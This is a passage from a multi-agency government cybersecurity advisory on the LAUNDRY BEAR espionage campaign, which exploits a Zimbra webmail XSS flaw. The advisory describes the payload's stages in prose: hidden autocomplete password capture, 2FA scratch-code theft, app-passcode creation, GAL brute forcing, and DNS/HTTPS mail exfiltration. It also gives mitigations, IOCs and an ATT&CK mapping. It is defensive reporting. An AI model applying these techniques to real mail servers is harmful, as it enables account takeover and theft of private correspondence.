Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
2 Forsvarets Efterretningstjeneste
3 VĂ€lisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction générale de la sécurité intérieure
7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 SƂuĆŒba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt CybersÀkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

